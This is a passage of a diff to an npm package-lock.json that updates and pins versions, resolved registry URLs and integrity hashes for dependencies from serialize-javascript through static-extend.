"sha512-Ga8c8NjAAp46Br4+0oZ2WxJCwIzwP60Gq1YPgU+39PiTVxyed/iKE/zyZI6+UlVYH5Q4PaQdHhcegIFPZTUfoQ==", + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-1.9.1.tgz", + "integrity": "sha512-0Vb/54WJ6k5v8sSWN09S0ora+Hnr+cX40r9F170nT+mSkaxltoE/7R3OrIdBSUv1OoiobH1QoWQbCnAO+e8J1A==", "dev": true }, "serve-index": { @@ -15618,13 +17052,13 @@ "integrity": "sha1-03aNabHn2C5c4FD/9bRTvqEqkjk=", "dev": true, "requires": { - "accepts": "~1.3.4", + "accepts": "1.3.7", "batch": "0.6.1", "debug": "2.6.9", - "escape-html": "~1.0.3", - "http-errors": "~1.6.2", - "mime-types": "~2.1.17", - "parseurl": "~1.3.2" + "escape-html": "1.0.3", + "http-errors": "1.6.3", + "mime-types": "2.1.25", + "parseurl": "1.3.3" }, "dependencies": { "debug": { @@ -15636,33 +17070,51 @@ "ms": "2.0.0" } }, + "http-errors": { + "version": "1.6.3", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz", + "integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=", + "dev": true, + "requires": { + "depd": "1.1.2", + "inherits": "2.0.3", + "setprototypeof": "1.1.0", + "statuses": "1.5.0" + } + }, "mime-db": { - "version": "1.36.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.36.0.tgz", - "integrity": "sha512-L+xvyD9MkoYMXb1jAmzI/lWYAxAMCPvIBSWur0PZ5nOf5euahRLVqH//FKW9mWp2lkqUgYiXPgkzfMUFi4zVDw==", + "version": "1.42.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.42.0.tgz", + "integrity": "sha512-UbfJCR4UAVRNgMpfImz05smAXK7+c+ZntjaA26ANtkXLlOe947Aag5zdIcKQULAiF9Cq4WxBi9jUs5zkA84bYQ==", "dev": true }, "mime-types": { - "version": "2.1.20", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.20.tgz", - "integrity": "sha512-HrkrPaP9vGuWbLK1B1FfgAkbqNjIuy4eHlIYnFi7kamZyLLrGlo2mpcx0bBmNpKqBtYtAfGbodDddIgddSJC2A==", + "version": "2.1.25", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.25.tgz", + "integrity": "sha512-5KhStqB5xpTAeGqKBAMgwaYMnQik7teQN4IAzC7npDv6kzeU6prfkR67bc87J1kWMPGkoaZSq1npmexMgkmEVg==", "dev": true, "requires": { - "mime-db": "~1.36.0" + "mime-db": "1.42.0" } + }, + "setprototypeof": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz", + "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==", + "dev": true } } }, "serve-static": { - "version": "1.13.2", - "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.13.2.tgz", - "integrity": "sha512-p/tdJrO4U387R9oMjb1oj7qSMaMfmOyd4j9hOFoxZe2baQszgHcSWjuya/CiT5kgZZKRudHNOA0pYXOl8rQ5nw==", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz", + "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==", "dev": true, "requires": { - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "parseurl": "~1.3.2", - "send": "0.16.2" + "encodeurl": "1.0.2", + "escape-html": "1.0.3", + "parseurl": "1.3.3", + "send": "0.17.1" } }, "set-blocking": { @@ -15674,18 +17126,19 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/set-immediate-shim/-/set-immediate-shim-1.0.1.tgz", "integrity": "sha1-SysbJ+uAip+NzEgaWOXlb1mfP2E=", - "dev": true + "dev": true, + "optional": true }, "set-value": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.0.tgz", - "integrity": "sha512-hw0yxk9GT/Hr5yJEYnHNKYXkIA8mVJgd9ditYZCe16ZczcaELYYcfvaXesNACk2O8O0nTiPQcQhGUQj8JLzeeg==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz", + "integrity": "sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==", "dev": true, "requires": { - "extend-shallow": "^2.0.1", - "is-extendable": "^0.1.1", - "is-plain-object": "^2.0.3", - "split-string": "^3.0.1" + "extend-shallow": "2.0.1", + "is-extendable": "0.1.1", + "is-plain-object": "2.0.4", + "split-string": "3.1.0" }, "dependencies": { "extend-shallow": { @@ -15694,7 +17147,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -15705,9 +17158,9 @@ "integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=" }, "setprototypeof": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz", - "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==", + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz", + "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==", "dev": true }, "sha.js": { @@ -15716,43 +17169,30 @@ "integrity": "sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==", "dev": true, "requires": { - "inherits": "^2.0.1", - "safe-buffer": "^5.0.1" + "inherits": "2.0.3", + "safe-buffer": "5.1.1" } }, "sha3": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/sha3/-/sha3-2.0.0.tgz", - "integrity": "sha512-20U15KDnIWrpJDSQ8o1i1C+dH3g/c08DYXyS2/wIfbErDn6pbw8rvYCwJvFH5OO3ZwwNNy0NVcua7Cxdd2RBnA==", + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/sha3/-/sha3-2.0.7.tgz", + "integrity": "sha512-7Qsj/0J3pxCWfmyuDbTZWoKNSKY/rg2eecNRvTYE4EAPJ11Uh6xuEObyCG295AqgrtOjzdDbfwtGLDY52h11tA==", "requires": { - "buffer": "5.2.1" - }, - "dependencies": { - "buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.2.1.tgz", - "integrity": "sha512-c+Ko0loDaFfuPWiL02ls9Xd3GO3cPVmUobQ6t3rXNUk304u6hGq+8N/kFi+QEIKhzK3uwolVhLzszmfLmMLnqg==", - "requires": { - "base64-js": "^1.0.2", - "ieee754": "^1.1.4" - } - } + "buffer": "5.4.0" } }, "shallow-clone": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-1.0.0.tgz", - "integrity": "sha512-oeXreoKR/SyNJtRJMAKPDSvd28OqEwG4eR/xc856cRGBII7gX9lvAqDxusPm0846z/w/hWYjI1NpKwJ00NHzRA==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-3.0.1.tgz", + "integrity": "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==", "requires": { - "is-extendable": "^0.1.1", - "kind-of": "^5.0.0", - "mixin-object": "^2.0.1" + "kind-of": "6.0.2" }, "dependencies": { "kind-of": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", - "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==" + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==" } } }, @@ -15768,7 +17208,7 @@ "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=", "dev": true, "requires": { - "shebang-regex": "^1.0.0" + "shebang-regex": "1.0.0" } }, "shebang-regex": { @@ -15777,6 +17217,14 @@ "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=", "dev": true }, + "shortid": { + "version": "2.2.15", + "resolved": "https://registry.npmjs.org/shortid/-/shortid-2.2.15.tgz", + "integrity": "sha512-5EaCy2mx2Jgc/Fdn9uuDuNIIfWBpzY4XIlhoqtXF6qsf+/+SGZ+FxDdX/ZsMZiWupIWNqAEmiNY4RC+LSmCeOw==", + "requires": { + "nanoid": "2.1.1" + } + }, "signal-exit": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.2.tgz", @@ -15789,12 +17237,25 @@ "dev": true }, "slice-ansi": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-1.0.0.tgz", - "integrity": "sha512-POqxBK6Lb3q6s047D/XsDVNPnF9Dl8JSaqe9h9lURl0OdNqy/ujDrOiIHtsqXMGbWWTIomRzAMaTyawAU//Reg==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-2.1.0.tgz", + "integrity": "sha512-Qu+VC3EwYLldKa1fCxuuvULvSJOKEgk9pi8dZeCVK7TqBfUNTH4sFkk4joj8afVSfAYgJoSOetjx9QWOJ5mYoQ==", "dev": true, "requires": { - "is-fullwidth-code-point": "^2.0.0" + "ansi-styles": "3.2.1", + "astral-regex": "1.0.0", + "is-fullwidth-code-point": "2.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "1.9.0" + } + } } }, "snapdragon": { @@ -15803,14 +17264,14 @@ "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==", "dev": true, "requires": { - "base": "^0.11.1", - "debug": "^2.2.0", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "map-cache": "^0.2.2", - "source-map": "^0.5.6", - "source-map-resolve": "^0.5.0", - "use": "^3.1.0" + "base": "0.11.2", + "debug": "2.6.8", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "map-cache": "0.2.2", + "source-map": "0.5.6", + "source-map-resolve": "0.5.2", + "use": "3.1.1" }, "dependencies": { "define-property": { @@ -15819,7 +17280,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "^0.1.0" + "is-descriptor": "0.1.6" } }, "extend-shallow": { @@ -15828,7 +17289,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -15839,9 +17300,9 @@ "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==", "dev": true, "requires": { - "define-property": "^1.0.0", - "isobject": "^3.0.0", - "snapdragon-util": "^3.0.1" + "define-property": "1.0.0", + "isobject": "3.0.1", + "snapdragon-util": "3.0.1" }, "dependencies": { "define-property": { @@ -15850,7 +17311,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "^1.0.0" + "is-descriptor": "1.0.2" } }, "is-accessor-descriptor": { @@ -15859,7 +17320,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-data-descriptor": { @@ -15868,7 +17329,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-descriptor": { @@ -15877,9 +17338,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" } }, "isobject": { @@ -15902,7 +17363,7 @@ "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==", "dev": true, "requires": { - "kind-of": "^3.2.0" + "kind-of": "3.2.2" } }, "sntp": { @@ -15911,7 +17372,7 @@ "integrity": "sha512-FL1b58BDrqS3A11lJ0zEdnJ3UOKqVxawAkF3k7F0CVN7VQ34aZrV+G8BZ1WC9ZL7NyrwsW0oviwsWDgRuVYtJg==", "dev": true, "requires": { - "hoek": "4.x.x" + "hoek": "4.2.1" } }, "socket.io": { @@ -15920,12 +17381,12 @@ "integrity": "sha512-rORqq9c+7W0DAK3cleWNSyfv/qKXV99hV4tZe+gGLfBECw3XEhBy7x85F3wypA9688LKjtwO9pX9L33/xQI8yA==", "dev": true, "requires": { - "debug": "~3.1.0", - "engine.io": "~3.2.0", - "has-binary2": "~1.0.2", - "socket.io-adapter": "~1.1.0", + "debug": "3.1.0", + "engine.io": "3.2.1", + "has-binary2": "1.0.3", + "socket.io-adapter": "1.1.1", "socket.io-client": "2.1.1", - "socket.io-parser": "~3.2.0" + "socket.io-parser": "3.2.0" }, "dependencies": { "debug": { @@ -15955,18 +17416,24 @@ "base64-arraybuffer": "0.1.5", "component-bind": "1.0.0", "component-emitter": "1.2.1", - "debug": "~3.1.0", - "engine.io-client": "~3.2.0", - "has-binary2": "~1.0.2", + "debug": "3.1.0", + "engine.io-client": "3.2.1", + "has-binary2": "1.0.3", "has-cors": "1.1.0", "indexof": "0.0.1", "object-component": "0.0.3", "parseqs": "0.0.5", "parseuri": "0.0.5", - "socket.io-parser": "~3.2.0", + "socket.io-parser": "3.2.0", "to-array": "0.1.4" }, "dependencies": { + "component-emitter": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.2.1.tgz", + "integrity": "sha1-E3kY1teCg/ffemt8WmPhQOaUJeY=", + "dev": true + }, "debug": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", @@ -15985,10 +17452,16 @@ "dev": true, "requires": { "component-emitter": "1.2.1", - "debug": "~3.1.0", + "debug": "3.1.0", "isarray": "2.0.1" }, "dependencies": { + "component-emitter": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.2.1.tgz", + "integrity": "sha1-E3kY1teCg/ffemt8WmPhQOaUJeY=", + "dev": true + }, "debug": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", @@ -16012,39 +17485,54 @@ "integrity": "sha512-V48klKZl8T6MzatbLlzzRNhMepEys9Y4oGFpypBFFn1gLI/QQ9HtLLyWJNbPlwGLelOVOEijUbTTJeLLI59jLw==", "dev": true, "requires": { - "faye-websocket": "^0.10.0", - "uuid": "^3.0.1" + "faye-websocket": "0.10.0", + "uuid": "3.2.1" } }, "sockjs-client": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/sockjs-client/-/sockjs-client-1.1.5.tgz", - "integrity": "sha1-G7fA9yIsQPQq3xT0RCy9Eml3GoM=", + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/sockjs-client/-/sockjs-client-1.4.0.tgz", + "integrity": "sha512-5zaLyO8/nri5cua0VtOrFXBPK1jbL4+1cebT/mmKA1E1ZXOvJrII75bPu0l0k843G/+iAbhEqzyKr0w/eCCj7g==", "dev": true, "requires": { - "debug": "^2.6.6", - "eventsource": "0.1.6", - "faye-websocket": "~0.11.0", - "inherits": "^2.0.1", - "json3": "^3.3.2", - "url-parse": "^1.1.8" + "debug": "3.2.6", + "eventsource": "1.0.7", + "faye-websocket": "0.11.3", + "inherits": "2.0.3", + "json3": "3.3.3", + "url-parse": "1.4.7" }, "dependencies": { - "faye-websocket": { - "version": "0.11.1", - "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.1.tgz", - "integrity": "sha1-8O/hjE9W5PQK/H4Gxxn9XuYYjzg=", + "debug": { + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", + "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", "dev": true, "requires": { - "websocket-driver": ">=0.5.1" + "ms": "2.1.2" } + }, + "faye-websocket": { + "version": "0.11.3", + "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.3.tgz", + "integrity": "sha512-D2y4bovYpzziGgbHYtGCMjlJM36vAl/y+xUyn1C+FVx8szd1E+86KwVw6XvYSzOP8iMpm1X0I4xJD+QtUb36OA==", + "dev": true, + "requires": { + "websocket-driver": "0.7.3" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true } } }, "source-list-map": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.0.tgz", - "integrity": "sha512-I2UmuJSRr/T8jisiROLU3A3ltr+swpniSmNPI4Ml3ZCX6tVnDsuZzK7F2hl5jTqbZBWCEKlj5HRQiPExXLgE8A==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz", + "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==", "dev": true }, "source-map": { @@ -16059,11 +17547,11 @@ "integrity": "sha512-MjqsvNwyz1s0k81Goz/9vRBe9SZdB09Bdw+/zYyO+3CuPk6fouTaxscHkgtE8jKvf01kVfl8riHzERQ/kefaSA==", "dev": true, "requires": { - "atob": "^2.1.1", - "decode-uri-component": "^0.2.0", - "resolve-url": "^0.2.1", - "source-map-url": "^0.4.0", - "urix": "^0.1.0" + "atob": "2.1.2", + "decode-uri-component": "0.2.0", + "resolve-url": "0.2.1", + "source-map-url": "0.4.0", + "urix": "0.1.0" } }, "source-map-support": { @@ -16072,7 +17560,7 @@ "integrity": "sha512-try0/JqxPLF9nOjvSta7tVondkP5dwgyLDjVoyMDlmjugT2lRZ1OfsrYTkCd2hkDnJTKRbO/Rl3orm8vlsUzbA==", "dev": true, "requires": { - "source-map": "^0.5.6" + "source-map": "0.5.6" } }, "source-map-url": { @@ -16086,8 +17574,8 @@ "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.0.0.tgz", "integrity": "sha512-N19o9z5cEyc8yQQPukRCZ9EUmb4HUpnrmaL/fxS2pBo2jbfcFRVuFZ/oFC+vZz0MNNk0h80iMn5/S6qGZOL5+g==", "requires": { - "spdx-expression-parse": "^3.0.0", - "spdx-license-ids": "^3.0.0" + "spdx-expression-parse": "3.0.0", + "spdx-license-ids": "3.0.0" } }, "spdx-exceptions": { @@ -16100,8 +17588,8 @@ "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.0.tgz", "integrity": "sha512-Yg6D3XpRD4kkOmTpdgbUiEJFKghJH03fiC1OPll5h/0sO6neh2jqRDVHOQ4o/LMea0tgCkbMgea5ip/e+MkWyg==", "requires": { - "spdx-exceptions": "^2.1.0", - "spdx-license-ids": "^3.0.0" + "spdx-exceptions": "2.1.0", + "spdx-license-ids": "3.0.0" } }, "spdx-license-ids": { @@ -16110,68 +17598,88 @@ "integrity": "sha512-2+EPwgbnmOIl8HjGBXXMd9NAu02vLjOO1nWw4kmeRDFyHn+M/ETfHxQUK0oXg8ctgVnl9t3rosNVsZ1jG61nDA==" }, "spdy": { - "version": "3.4.7", - "resolved": "https://registry.npmjs.org/spdy/-/spdy-3.4.7.tgz", - "integrity": "sha1-Qv9B7OXMD5mjpsKKq7c/XDsDrLw=", + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/spdy/-/spdy-4.0.1.tgz", + "integrity": "sha512-HeZS3PBdMA+sZSu0qwpCxl3DeALD5ASx8pAX0jZdKXSpPWbQ6SYGnlg3BBmYLx5LtiZrmkAZfErCm2oECBcioA==", "dev": true, "requires": { - "debug": "^2.6.8", - "handle-thing": "^1.2.5", - "http-deceiver": "^1.2.7", - "safe-buffer": "^5.0.1", - "select-hose": "^2.0.0", - "spdy-transport": "^2.0.18" + "debug": "4.1.1", + "handle-thing": "2.0.0", + "http-deceiver": "1.2.7", + "select-hose": "2.0.0", + "spdy-transport": "3.0.0" + }, + "dependencies": { + "debug": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", + "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + } } }, "spdy-transport": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-2.1.0.tgz", - "integrity": "sha512-bpUeGpZcmZ692rrTiqf9/2EUakI6/kXX1Rpe0ib/DyOzbiexVfXkw6GnvI9hVGvIwVaUhkaBojjCZwLNRGQg1g==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-3.0.0.tgz", + "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==", "dev": true, "requires": { - "debug": "^2.6.8", - "detect-node": "^2.0.3", - "hpack.js": "^2.1.6", - "obuf": "^1.1.1", - "readable-stream": "^2.2.9", - "safe-buffer": "^5.0.1", - "wbuf": "^1.7.2" + "debug": "4.1.1", + "detect-node": "2.0.4", + "hpack.js": "2.1.6", + "obuf": "1.1.2", + "readable-stream": "3.4.0", + "wbuf": "1.7.3" }, "dependencies": { - "isarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", - "dev": true + "debug": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", + "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "dev": true, + "requires": { + "ms": "2.1.2" + } }, - "process-nextick-args": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", "dev": true }, "readable-stream": { - "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", - "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.4.0.tgz", + "integrity": "sha512-jItXPLmrSR8jmTRmRWJXCnGJsfy85mB3Wd/uINMXA65yrnFo0cPClFIUWzo2najVNSl+mx7/4W8ttlLWJe99pQ==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "inherits": "2.0.3", + "string_decoder": "1.3.0", + "util-deprecate": "1.0.2" } }, + "safe-buffer": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz", + "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg==", + "dev": true + }, "string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.2.0" } } } @@ -16182,36 +17690,37 @@ "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==", "dev": true, "requires": { - "extend-shallow": "^3.0.0" + "extend-shallow": "3.0.2" } }, "sprintf-js": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", - "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=" + "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=", + "dev": true }, "sshpk": { "version": "1.14.1", "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.14.1.tgz", "integrity": "sha1-Ew9Zde3a2WPx1W+SuaxsUfqfg+s=", "requires": { - "asn1": "~0.2.3", - "assert-plus": "^1.0.0", - "bcrypt-pbkdf": "^1.0.0", - "dashdash": "^1.12.0", - "ecc-jsbn": "~0.1.1", - "getpass": "^0.1.1", - "jsbn": "~0.1.0", - "tweetnacl": "~0.14.0" + "asn1": "0.2.3", + "assert-plus": "1.0.0", + "bcrypt-pbkdf": "1.0.1", + "dashdash": "1.14.1", + "ecc-jsbn": "0.1.1", + "getpass": "0.1.7", + "jsbn": "0.1.1", + "tweetnacl": "0.14.5" } }, "ssri": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/ssri/-/ssri-5.3.0.tgz", - "integrity": "sha512-XRSIPqLij52MtgoQavH/x/dU1qVKtWUAAZeOHsR9c2Ddi4XerFy3mc1alf+dLJKl9EUIm/Ht+EowFkTUOA6GAQ==", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/ssri/-/ssri-6.0.1.tgz", + "integrity": "sha512-3Wge10hNcT1Kur4PDFwEieXSCMCJs/7WvSACcrMYrNp+b8kDL1/0wJch5Ni2WrtwEa2IO8OsVfeKIciKCDx/QA==", "dev": true, "requires": { - "safe-buffer": "^5.1.1" + "figgy-pudding": "3.5.1" } }, "static-extend": { @@ -16220,8 +17729,8 @@ "integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=", "dev": true, "requires": { - "define-property": "^0.2.5", - "object-copy": "^0.1.0" + "define-property": "0.2.5", + "object-copy": "0.1.0" }, "dependencies": { 